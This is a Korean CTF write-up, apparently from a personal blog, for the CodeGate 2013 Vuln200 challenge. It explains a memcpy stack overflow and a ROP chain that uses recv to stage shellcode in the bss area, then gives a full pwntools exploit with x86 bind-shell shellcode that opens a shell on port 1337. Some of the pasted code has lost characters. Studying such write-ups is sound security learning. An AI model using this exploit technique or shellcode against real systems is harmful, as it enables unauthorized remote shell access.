KDHzoot's Github

Code for study, project, etc

자세히보기

정보보안/CTF

[CodeGate 2013] Vuln200

kdhzoot 2018. 11. 22. 12:06
1
2
3
4
5
6
do
{
  memset(&order, 0, 400u);
  len = recv(sock2, &order, 400u, 0);
}
while ( func(&order, sock2, len) == 1 );
cs


main 함수에서 order 배열에 넣는 값은 최대 길이가 400이다.


1
2
3
4
5
6
7
8
9
else
{
  sub_80493B1("BEFORE"&dest);
  write(fd, "write running\nCopying bytes", 0x1Cu);
  memcpy(&dest, (input + 5), len - 5);
  sub_80493B1("AFTER"&dest);
  write(fd, "\nDONE\nReturn to the main\n", 0x19u);
  result = 1;
}
cs


그런데 func 함수 안에서 write 메뉴 선택시 실행되는 코드를  보면


dest배열에 input의 "write"+"내용"에서 뒤에 내용을 복한다.


그런데 dest 배열은 ebp로부터 0xEC, 236만큼 떨어져있다.


따라서 memcpy함수에서 오버플로우 취약점이 발생한다.





처음 생각한 방법은 간단했다.


order의 "write"뒤에 쉘코드를 넣고 ret에 (dest_addr+5)를 넣어주면 된다.


그런데 dest_addr를 구할 방법이 생각나지 않았다.


따라서 실패.




그 다음 방법은 bss영역을 활용하는 것이었다.

 

ida로 전역변수 영역인 bss영역을 살펴보니 빈 공간이 엄청 컸다.


대충 쉘코드를 넣을 적당한 주소를 선택한다.


bss_addr = 0x804B383





이제 recv함수로 bss_addr에 쉘코드를 덮고 ret에 bss_addr를 넣어주면 끝난다.


필요한 ropgadget은 ppppr


ppppr = 0x80493ac



gdb-peda에서 print기능을 쓰면 recv함수의 plt 주소를 구할 수 있다.


recv = 0x8048780




페이로드 구성


"write" + dump(240) + recv + 4 + bss_addr + len(shelllcode) + 0 + bss_addr


페이로드 send 후 


shellcode를 send해줘야 호출한 recv함수가 bss영역에 쉘코드를 덮어씌움



exploit code


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
 
= remote("localhost",7777)
 
p.recv(2222)
 
shellcode="\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"
send = 0x80488a0
recv = 0x8048780
ppppr = 0x80493ac
bss_addr = 0x804B383
 
pay = "write"
pay += "A"*240
pay += p32(recv)
pay += p32(ppppr)
pay += p32(4+ p32(bss_addr) + p32(len(shellcode)) + p32(0)
pay += p32(send)
pay += p32(ppppr)
pay += p32(4+ p32(bss_addr) + p32(len(shellcode)) + p32(0)
pay += p32(bss_addr)
 
p.send(pay)
time.sleep(0.1)
p.send(shellcode)
cs




이제 실행시키면 1337번 포트로 쉘이 따지는 것을 확인할 수 있다.



'정보보안 > CTF' 카테고리의 다른 글

[ebCTF 2013] pwn 200  (0) 2018.11.12
[CSAW CTF 2013] Exploitation4  (0) 2018.11.12
[CSAW CTF 2013] Exploitation3  (0) 2018.11.10
[CSAW CTF 2013] Exploitation2  (0) 2018.11.09
[DEFCON CTF 2015] r0pbaby  (0) 2018.11.08